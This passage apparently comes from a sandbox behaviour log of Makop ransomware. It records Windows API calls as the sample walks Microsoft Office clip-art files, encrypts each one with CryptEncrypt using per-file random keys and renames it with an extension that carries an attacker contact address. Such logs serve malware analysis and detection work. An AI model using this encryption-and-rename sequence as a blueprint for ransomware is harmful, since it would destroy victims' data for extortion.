dwFlags=0x0) returned 1 [0113.665] GetProcessHeap () returned 0x48a0000 [0113.665] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.665] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.666] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.666] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.667] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.667] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.667] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.667] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x121a, lpOverlapped=0x0) returned 1 [0113.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220) returned 1 [0113.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1220, lpOverlapped=0x0) returned 1 [0113.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.669] SetEndOfFile (hFile=0xf0) returned 1 [0113.676] GetProcessHeap () returned 0x48a0000 [0113.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.676] GetProcessHeap () returned 0x48a0000 [0113.676] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.676] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.677] CloseHandle (hObject=0xf0) returned 1 [0113.678] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf455c700, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf455c700, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01084_.WMF", cAlternateFileName="")) returned 1 [0113.678] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0113.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.678] GetProcessHeap () returned 0x48a0000 [0113.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.678] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.682] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.682] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.682] GetProcessHeap () returned 0x48a0000 [0113.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.682] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.683] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x96c, lpOverlapped=0x0) returned 1 [0113.683] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x970, dwBufLen=0x970 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x970) returned 1 [0113.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x970, lpOverlapped=0x0) returned 1 [0113.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.684] SetEndOfFile (hFile=0xf0) returned 1 [0113.690] GetProcessHeap () returned 0x48a0000 [0113.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.690] GetProcessHeap () returned 0x48a0000 [0113.690] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.690] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.692] CloseHandle (hObject=0xf0) returned 1 [0113.692] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ff1000, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ff1000, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01176_.WMF", cAlternateFileName="")) returned 1 [0113.692] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0113.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.693] GetProcessHeap () returned 0x48a0000 [0113.693] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.693] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.693] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.693] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.697] GetProcessHeap () returned 0x48a0000 [0113.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.697] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.697] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.697] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.698] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.699] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1378, lpOverlapped=0x0) returned 1 [0113.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1380, dwBufLen=0x1380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1380) returned 1 [0113.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1380, lpOverlapped=0x0) returned 1 [0113.700] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.701] SetEndOfFile (hFile=0xf0) returned 1 [0113.707] GetProcessHeap () returned 0x48a0000 [0113.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.707] GetProcessHeap () returned 0x48a0000 [0113.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.708] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.719] CloseHandle (hObject=0xf0) returned 1 [0113.719] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d752900, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d752900, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01191_.WMF", cAlternateFileName="")) returned 1 [0113.719] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0113.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.721] GetProcessHeap () returned 0x48a0000 [0113.721] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.722] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.726] GetProcessHeap () returned 0x48a0000 [0113.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.726] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.726] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.726] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.726] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.728] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf7c, lpOverlapped=0x0) returned 1 [0113.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80) returned 1 [0113.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf80, lpOverlapped=0x0) returned 1 [0113.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.729] SetEndOfFile (hFile=0xf0) returned 1 [0113.734] GetProcessHeap () returned 0x48a0000 [0113.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.734] GetProcessHeap () returned 0x48a0000 [0113.734] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.735] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.735] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.736] CloseHandle (hObject=0xf0) returned 1 [0113.736] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97014c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97014c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x488, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01193_.WMF", cAlternateFileName="")) returned 1 [0113.736] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 63 [0113.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.737] GetProcessHeap () returned 0x48a0000 [0113.737] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.737] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | 